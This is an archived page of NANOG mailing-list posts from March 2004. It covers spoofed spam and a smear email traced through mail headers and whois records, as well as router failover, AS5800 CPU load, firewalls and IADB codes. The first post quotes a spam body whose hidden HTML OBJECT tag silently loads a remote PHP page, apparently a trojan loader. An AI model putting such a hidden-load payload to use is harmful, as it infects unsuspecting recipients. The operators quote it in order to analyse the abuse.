- Test - lists.nanog.org

now what - spam to nanog spoofing susan harris?
by Suresh Ramasubramanian 18 Mar '04

18 Mar '04

Mailed out through an open proxy / hacked machine in some australian museum, with a body that tries to load this html page - http://24.84.218.164:81/641280.php Page is hosted on a shawcable conection (probably another trojaned box) that I can't seem to access, though the host is barely pingable srs > Return-Path: <owner-nanog(a)merit.edu> > Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26]) > by corpmail.outblaze.com (Postfix) with ESMTP > id B199316DD9F; Thu, 18 Mar 2004 02:43:17 +0000 (GMT) > Received: by trapdoor.merit.edu (Postfix) > id 6E9DA91333; Wed, 17 Mar 2004 21:40:47 -0500 (EST) > Received: by trapdoor.merit.edu (Postfix, from userid 56) > id 35AD791331; Wed, 17 Mar 2004 21:40:47 -0500 (EST) > Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) > by trapdoor.merit.edu (Postfix) with ESMTP id 724909132F > for <nanog(a)trapdoor.merit.edu>; Wed, 17 Mar 2004 21:40:44 -0500 (EST) > Received: by segue.merit.edu (Postfix) > id 5A6015DE6E; Wed, 17 Mar 2004 21:40:44 -0500 (EST) > Received: from PH02887.net (unknown [203.18.63.43]) > by segue.merit.edu (Postfix) with SMTP id 8220D5DE34 > for <nanog(a)merit.edu>; Wed, 17 Mar 2004 21:40:43 -0500 (EST) > Delivered-To: nanog-outgoing(a)trapdoor.merit.edu > Delivered-To: nanog(a)trapdoor.merit.edu > Delivered-To: nanog(a)merit.edu > Date: Thu, 18 Mar 2004 13:40:35 +1000 > To: nanog(a)merit.edu > Subject: Request response > From: srh(a)merit.edu > Message-ID: <xpvmqgksfnpfrcuagqc(a)merit.edu> > MIME-Version: 1.0 > X-Priority: 3 > X-MSMail-Priority: Normal > X-Mailer: Microsoft Outlook Express 6.00.2600.0000 > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 > Content-Type: text/html; charset=us-ascii > Content-Transfer-Encoding: 7bit > Sender: owner-nanog(a)merit.edu > Precedence: bulk > Errors-To: owner-nanog-outgoing(a)merit.edu > X-Loop: nanog > X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.11; VAE: 6.24.0.7; VDF: 6.24.0.61; host: corpmail.outblaze.com) > > > <html><body> > <font face="System"> > <OBJECT STYLE="display:none" DATA="http://24.84.218.164:81/641280.php"> > </OBJECT></body></html>

1 0

Re: Update on Querying IADB
by Michael.Dillon＠radianz.com 18 Mar '04

18 Mar '04

>The codes we use at present include: >127.0.0.1 Listed in IADB Hmmm... listed in my /etc/hosts as well. Am I IADB compliant? It's interesting to see how everyone tries to reinvent LDAP on top of DNS and/or BGP instead of just using the LDAP protocol itself. Somehow the world has gotten the idea that LDAP is an addressbook protocol when, in fact, it is a fairly generic distributed hierarchical database access protocol. IMHO there are two right ways to publish these types of databases. One is to use LDAP and the other is to use an XML protocol like XML-RPC or SOAP. Overloading DNS as a generic database query protocol is just a plain bad idea. At least both LDAP and XML support the concept of a schema which defines the data being transmitted in an unambiguous way and ensures that it can be correctly parsed and decoded. --Michael Dillon

2 1

Question on possibly using route switch as standby backup to router
by william(at)elan.net 18 Mar '04

18 Mar '04

(On topic to nanog for a change...) I'll be soon going through resetup of one of our primary hosting POPs (moving to different DC and upstream provider) and as a result have opportunity to make some changes to the configuration, etc and want to set it up so there is standby backup available to the main router. Note that I'm not going to setup complete cisco HSRP, I don't have interest in going this far. The only purpose is to provide service for customers in the POP for short period of time in case of router failure or when router has to be taken down for upgrades. And while the router itself has direct connections to other routers on our network, I'm fine with network being split into segments while the router is down, I do however want customers in that POP to be able to use the primary upstream in that POP (and I'll as a result need to announce only the ip blocks related to that segment in case router goes down) The concept I have in mind is to use our main cisco switch there that also happened to have a router card and could I think do bgp. The idea is to connect one or two upstream GB connections directly into the switch (currently we connect to upstream through port on the router) and then setup vlans from there to go to the router through its gigabit interface (most likely etherchannel logically on the router to be able to expand to multiple interfaces if it is ever needed). Futher instead of doing typical /30 interconnect to upstream, I would like to use /29 there and assign one ip to their router, one to our router and one ip would be on route switch card (which can see each vlan as separate interface). For BGP instead of establishing session directly between interfaces of one and another router, I want to use separate /30 that would be announced to upstream through EBGP (but not go beyond just between these routers) and this /30 would contain ip address to be used for primary BGP session for announcing our routes (for those familiar this is how cogent does it). The idea is then that when everything is working and primary router is ok, it will announce this /30 and bgp ip to upstream and thereafter be able to establish bgp session and send all the routes there, but if router is down, same /30 begins to be announced by route switch which could take over routing. Now my main config problem here is that I need a way to have main router announce something to route switch that would suppress its announcement of this same /30 though ebgp. Additionally I need to find a way to let the individual customer servers (these on separate vlans connected from the router and through the switch, each vlan has one ip on the main router and one on the route-switch vlan) know which is the correct default gateway. In theory I can of course have route-switch always be the default router for those customer machines, but I'd like to avoid this and use router instead. And you have to remember here also that while some customer machines are linux and solaris and can talk ospf and receive default router through that, many servers are windows and I really really would like to avoid using IGP routing protocol on microsoft software. So if possible I'd like to completely avoid using IGP protocol for sending default and try doing it some other way. And suggestions on above two items? Did any of you do anything similar and perhaps documented it somewhere? P.S. My router is 7500. The route switch is currenly 5500 with RSM card, but I maybe upgrading to 6500 switch soon, but would like the setup to work on either one. -- William Leibzon Elan Networks william(a)elan.net

1 0

TCP headre compression and CPU usage on Cisco AS5800
by Paul Khavkine 17 Mar '04

17 Mar '04

Hi folks. On a cisco AS5800, what are the parameters that could be tweaked to reduce CPU utilization ? With 360 active calls here's what i have: NAS01-MTNDODS#sh proc cpu | exclude 0.00 CPU utilization for five seconds: 79%/17%; one minute: 81%; five minutes: 80% PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process 3 80428996 4609093 17450 2.19% 1.08% 0.78% 0 Check heaps 7 147676920 1554810 94984 2.43% 4.42% 3.93% 0 Serial Backgroun 29 8102432 16740884 483 0.08% 0.18% 0.18% 0 Net Background 61 11903404 9770801 1218 0.24% 0.22% 0.23% 0 ISDN 74 8349756642098634624 397 7.72% 6.99% 6.93% 0 IP Input 76 3189204 1447125 2203 0.08% 0.04% 0.04% 0 CDP Protocol 79 665792 8520105 78 0.16% 0.13% 0.10% 0 IP Background 91 795916 2427196 327 0.08% 0.19% 0.23% 0 PPP IP Route 92 31107300 5726565 5432 38.09% 45.42% 45.05% 0 PPP IPCP 120 80886604 2196656 36822 0.73% 0.74% 0.74% 0 Compute load avg 148 32705256 345451242 94 4.30% 2.52% 2.07% 0 PPP Events 156 3841144 63989161 60 0.08% 0.06% 0.03% 0 IP SNMP 158 8978492 27800036 322 0.16% 0.26% 0.16% 0 SNMP ENGINE 210 222569208 2670597 83340 5.60% 5.39% 4.83% 0 AAA Per-User As you see that IPCP process takes ~ 45% of the CPU. Is there a way to disable TCP header compression completely ? Or any other CPU intensive things ? It's an AS5800 with NPE-300 Thanx Paul ************************************************ Paul Khavkine Network Administrator DISTRIBUTEL Communications. 740 Notre Dame West, Suite 1135 Montreal, Quebec, Canada, H3C 3X6 1-514-877-5505 x 263 http://www.distributel.net ************************************************

1 0

Strange message possibly through nanog mail server
by william(at)elan.net 17 Mar '04

17 Mar '04

I Just received this. I would like to check if others have received it and did it indeed come through nanog mailist: > Date: Wed, 17 Mar 2004 21:10:38 +0000 > From: Deep Throat <deepthroat20004(a)hotmail.com> > To: schroebel6(a)aol.com > Subject: Spamhaus Exposed > > Disturbing information on one of the founders of Spamhaus.org > > http://www.geocities.com/jackjack9872004/ _______________________________________________________________________ And while the website was unavailable and the sender is being anonymous (whichis against nanog list policies if this was sent through it), what I do find worse is that they managed to do it so that nanog(a)merit.edu is not added to "CC" (which if I understood is always supposed to happen when something through this mail list, which makes me think it might have come through merit mail machine but not actually though mail list). What I find even more disturbing is that ip address listed as origin (which may well have been forged if they managed to gain some highier level access to merit servers) is that of US Military. Below is the header for your review. I do however find it slightly more likely that its some kind of sophisticated joe-job on spamhaus and that info is forged but they may have used some bug on merit mail software. Return-Path: <owner-nanog(a)merit.edu> Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26]) by sokol.elan.net (8.12.5/8.12.5) with ESMTP id i2HMKZdw015368 for <william(a)elan.net>; Wed, 17 Mar 2004 14:20:35 -0800 Received: by trapdoor.merit.edu (Postfix) id CF8FA91307; Wed, 17 Mar 2004 16:11:00 -0500 (EST) Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 92B3591328; Wed, 17 Mar 2004 16:11:00 -0500 (EST) Delivered-To: nanog(a)trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id BCC5691307 for <nanog(a)trapdoor.merit.edu>; Wed, 17 Mar 2004 16:10:39 -0500 (EST) Received: by segue.merit.edu (Postfix) id A27775DE7B; Wed, 17 Mar 2004 16:10:39 -0500 (EST) Delivered-To: nanog(a)merit.edu Received: from hotmail.com (bay13-f78.bay13.hotmail.com [64.4.31.78]) by segue.merit.edu (Postfix) with ESMTP id 5C2B05DE72 for <nanog(a)merit.edu>; Wed, 17 Mar 2004 16:10:39 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 17 Mar 2004 13:10:38 -0800 Received: from 198.26.130.36 by by13fd.bay13.hotmail.msn.com with HTTP; Wed, 17 Mar 2004 21:10:38 GMT X-Originating-IP: [198.26.130.36] <---- Note this, see below X-Originating-Email: [deepthroat20004(a)hotmail.com] X-Sender: deepthroat20004(a)hotmail.com From: "Deep Throat" <deepthroat20004(a)hotmail.com> To: schroebel6(a)aol.com Subject: Spamhaus Exposed Date: Wed, 17 Mar 2004 21:10:38 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: <BAY13-F78KxAh5hMpAn0002ba61(a)hotmail.com> X-OriginalArrivalTime: 17 Mar 2004 21:10:38.0810 (UTC) FILETIME=[4C3633A0:01C40C64] Sender: owner-nanog(a)merit.edu Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog Disturbing information on one of the founders of Spamhaus.org http://www.geocities.com/jackjack9872004/ ---------------------------------------------------------------------- $ host 198.26.130.36 36.130.26.[98.in-addr.arpa domain name pointer BU-WCS1-SAND.NIPR.MIL. [whois.completewhois.com] Elan Completewhois.Com Whois Server, Version 0.91a6, compiled on Jan 02, 2004 Please see http://www.completewhois.com/help.htm for command-line options Use of this server and any information obtained here is allowed only if you follow our policies at http://www.completewhois.com/policies.htm [IPv4 whois information on 198.26.130.36 ] [Query Origin: Main Whois Query ] [whois.arin.net] OrgName: The Defense Information Systems Agency OrgID: DISA Address: DISA/DSSO/JCLCC Address: Room BF655A, The Pentagon City: Washington StateProv: DC PostalCode: 20301 Country: US NetRange: 198.25.0.0 - 198.26.255.255 CIDR: 198.25.0.0/16, 198.26.0.0/16 NetName: NETBLK-DISA-C NetHandle: NET-198-25-0-0-1 Parent: NET-198-0-0-0-0 NetType: Direct Allocation NameServer: AAA-KELLY.NIPR.MIL NameServer: AAA-VAIHINGEN.NIPR.MIL NameServer: AAA-WHEELER.NIPR.MIL NameServer: AAA-VIENNA.NIPR.MIL Comment: RegDate: 1992-12-05 Updated: 2004-01-13

3 2

RE: Strange message possibly through nanog mail server
by Mike Tancsa 17 Mar '04

17 Mar '04

At 04:58 PM 17/03/2004, Alon Tirosh wrote: >I *think* I loaded the page in lynx before it got rate-limited, and lynx >flashed through a whole mess of fast redirects before faulting out. No >logs, unfortunately. A safe way I find to examine potentially trojaned pages is via fetch (or wget) fetch -o questionable.html <url> Then you can examine the page with appropriate tools. ---Mike

1 0

RE: Strange message possibly through nanog mail server
by Thor Larholm 17 Mar '04

17 Mar '04

> From: william(at)elan.net [mailto:william@elan.net] > I Just received this. I would like to check if others > have received it and did it indeed come through nanog mailist It came through NANOG, delivered from a Hotmail account that accepted it from 198.26.130.36. Yes, that is a military IP, and most definitely not the first time that spammers have relayed emails through compromised military machines. Spammers broke federal law long before the YOU-CAN-SPAM act. For some reason, Peter Schroebel was CC'ed. You can read more about him at http://www.spamhaus.org/rokso/listing.lasso?-op=cn&spammer=Peter%20Schro ebel%20-%20SMS/Fullport Character attacks such as this one are pretty common against anti-spammers, we also had one attempted at Brian Bruns just days ago here on NANOG. Regards Thor Larholm Senior Security Researcher PivX Solutions 24 Corporate Plaza #180 Newport Beach, CA 92660 http://www.pivx.com thor(a)pivx.com Phone: +1 (949) 231-8496 PGP: 0x5A276569 6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569 PivX defines "Proactive Threat Mitigation". Get a FREE Beta Version of Qwik-Fix <http://www.qwik-fix.net>

1 0

RE: Strange message possibly through nanog mail server
by Alon Tirosh 17 Mar '04

17 Mar '04

Got it, came from nanog, originated from DISA (purportedly, anyways): Received: from 198.26.130.36 by by13fd.bay13.hotmail.msn.com with HTTP; Wed, 17 Mar 2004 21:10:38 GMT #whois 198.26.130.36 OrgName: The Defense Information Systems Agency OrgID: DISA Address: DISA/DSSO/JCLCC Address: Room BF655A, The Pentagon City: Washington StateProv: DC PostalCode: 20301 Country: US NetRange: 198.25.0.0 - 198.26.255.255 CIDR: 198.25.0.0/16, 198.26.0.0/16 NetName: NETBLK-DISA-C NetHandle: NET-198-25-0-0-1 Parent: NET-198-0-0-0-0 NetType: Direct Allocation NameServer: AAA-KELLY.NIPR.MIL NameServer: AAA-VAIHINGEN.NIPR.MIL NameServer: AAA-WHEELER.NIPR.MIL NameServer: AAA-VIENNA.NIPR.MIL I *think* I loaded the page in lynx before it got rate-limited, and lynx flashed through a whole mess of fast redirects before faulting out. No logs, unfortunately. Just a question: is this the chinese year of the immature script kiddie or something? -----Original Message----- From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu] On Behalf Of william(at)elan.net Sent: Wednesday, March 17, 2004 5:58 PM To: nanog(a)merit.edu Subject: Strange message possibly through nanog mail server I Just received this. I would like to check if others have received it and did it indeed come through nanog mailist: > Date: Wed, 17 Mar 2004 21:10:38 +0000 > From: Deep Throat <deepthroat20004(a)hotmail.com> > To: schroebel6(a)aol.com > Subject: Spamhaus Exposed > > Disturbing information on one of the founders of Spamhaus.org > > http://www.geocities.com/jackjack9872004/ _______________________________________________________________________ And while the website was unavailable and the sender is being anonymous (whichis against nanog list policies if this was sent through it), what I do find worse is that they managed to do it so that nanog(a)merit.edu is not added to "CC" (which if I understood is always supposed to happen when something through this mail list, which makes me think it might have come through merit mail machine but not actually though mail list). What I find even more disturbing is that ip address listed as origin (which may well have been forged if they managed to gain some highier level access to merit servers) is that of US Military. Below is the header for your review. I do however find it slightly more likely that its some kind of sophisticated joe-job on spamhaus and that info is forged but they may have used some bug on merit mail software. Return-Path: <owner-nanog(a)merit.edu> Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26]) by sokol.elan.net (8.12.5/8.12.5) with ESMTP id i2HMKZdw015368 for <william(a)elan.net>; Wed, 17 Mar 2004 14:20:35 -0800 Received: by trapdoor.merit.edu (Postfix) id CF8FA91307; Wed, 17 Mar 2004 16:11:00 -0500 (EST) Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 92B3591328; Wed, 17 Mar 2004 16:11:00 -0500 (EST) Delivered-To: nanog(a)trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id BCC5691307 for <nanog(a)trapdoor.merit.edu>; Wed, 17 Mar 2004 16:10:39 -0500 (EST) Received: by segue.merit.edu (Postfix) id A27775DE7B; Wed, 17 Mar 2004 16:10:39 -0500 (EST) Delivered-To: nanog(a)merit.edu Received: from hotmail.com (bay13-f78.bay13.hotmail.com [64.4.31.78]) by segue.merit.edu (Postfix) with ESMTP id 5C2B05DE72 for <nanog(a)merit.edu>; Wed, 17 Mar 2004 16:10:39 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 17 Mar 2004 13:10:38 -0800 Received: from 198.26.130.36 by by13fd.bay13.hotmail.msn.com with HTTP; Wed, 17 Mar 2004 21:10:38 GMT X-Originating-IP: [198.26.130.36] <---- Note this, see below X-Originating-Email: [deepthroat20004(a)hotmail.com] X-Sender: deepthroat20004(a)hotmail.com From: "Deep Throat" <deepthroat20004(a)hotmail.com> To: schroebel6(a)aol.com Subject: Spamhaus Exposed Date: Wed, 17 Mar 2004 21:10:38 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: <BAY13-F78KxAh5hMpAn0002ba61(a)hotmail.com> X-OriginalArrivalTime: 17 Mar 2004 21:10:38.0810 (UTC) FILETIME=[4C3633A0:01C40C64] Sender: owner-nanog(a)merit.edu Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog Disturbing information on one of the founders of Spamhaus.org http://www.geocities.com/jackjack9872004/ ---------------------------------------------------------------------- $ host 198.26.130.36 36.130.26.[98.in-addr.arpa domain name pointer BU-WCS1-SAND.NIPR.MIL. [whois.completewhois.com] Elan Completewhois.Com Whois Server, Version 0.91a6, compiled on Jan 02, 2004 Please see http://www.completewhois.com/help.htm for command-line options Use of this server and any information obtained here is allowed only if you follow our policies at http://www.completewhois.com/policies.htm [IPv4 whois information on 198.26.130.36 ] [Query Origin: Main Whois Query ] [whois.arin.net] OrgName: The Defense Information Systems Agency OrgID: DISA Address: DISA/DSSO/JCLCC Address: Room BF655A, The Pentagon City: Washington StateProv: DC PostalCode: 20301 Country: US NetRange: 198.25.0.0 - 198.26.255.255 CIDR: 198.25.0.0/16, 198.26.0.0/16 NetName: NETBLK-DISA-C NetHandle: NET-198-25-0-0-1 Parent: NET-198-0-0-0-0 NetType: Direct Allocation NameServer: AAA-KELLY.NIPR.MIL NameServer: AAA-VAIHINGEN.NIPR.MIL NameServer: AAA-WHEELER.NIPR.MIL NameServer: AAA-VIENNA.NIPR.MIL Comment: RegDate: 1992-12-05 Updated: 2004-01-13

1 0

RE: Firewall opinions wanted please
by Matt Ryan 17 Mar '04

17 Mar '04

Depending on your chosen vendor the ACL cost is unlikely to be $0 - if you steal CPU cycles from packet forwarding then you incur earlier router upgrade costs and that has a NPV cost increase associated with it. It's just not as obvious as a invoice for a firewall. Matt. -----Original Message----- From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu]On Behalf Of Eric Gauthier Sent: 17 March 2004 17:20 To: nanog(a)merit.edu Subject: Re: Firewall opinions wanted please > > _Everyone_ (network connected) should have a firewall. My grandma should > > have a firewall. Nicole, holding dominion over this business network and > > its critical infrastructure, should _definitely_ have a firewall. ;) By "firewall", do you mean "dedicated unit that does statefull filtering" or just "something that will block packets"? We've successfully argued to just about every group here at our University who came to us asking for a "firewall" that, given what they wanted to achieve, they could accomplish the same thing with simple ACLs... I'm sure that the cost of the ACL's (i.e. $0.00) versus the cost of a firewall also helped them in their decision... Eric :) ------------------------------------------------------------------------------ Live Life in Broadband www.telewest.co.uk The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Statements and opinions expressed in this e-mail may not represent those of the company. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender immediately and delete the material from any computer. ==============================================================================

2 1

Update on Querying IADB
by Anne P. Mitchell, Esq. 17 Mar '04

17 Mar '04

For those interested in seeing how this has evolved, and what exactly this particular accreditation database provides, our query pages have been expanded, and include a link to the full suggested DNSL data response codes. The codes we use at present include: 127.0.0.1 Listed in IADB 127.0.1.255 Vouched listing 127.2.255.1 Publishes SPF record 127.2.255.2 Publishes Microsoft "Caller I.D. for Email" record 127.2.255.101 Participates in Habeas program 127.2.255.102 Participates in Ironport's Bonded Sender program 127.3.100.0 Has absolutely no mailing controls in place 127.3.100.1 Scrapes addresses, pure opt-out only 127.3.100.2 Accepts unverified sign-ups such as through web page 127.3.100.3 Accepts unverified sign-ups, gives chance to opt out 127.3.100.4 Reserved 127.3.100.5 Has opt-in confirmation mechanism 127.3.100.6 Has and uses opt-in confirmation mechanism 127.3.100.7 Reserved 127.3.100.8 Reserved 127.3.100.9 Reserved 127.3.100.10 All mailing list mail is confirmed opt-in The general information is at http://www.isipp.com/iadb.php Query information specifically is at http://www.isipp.com/iadbquery.php It is, of course, free to query IADB, as well as to be listed as an individual. Anne

3 4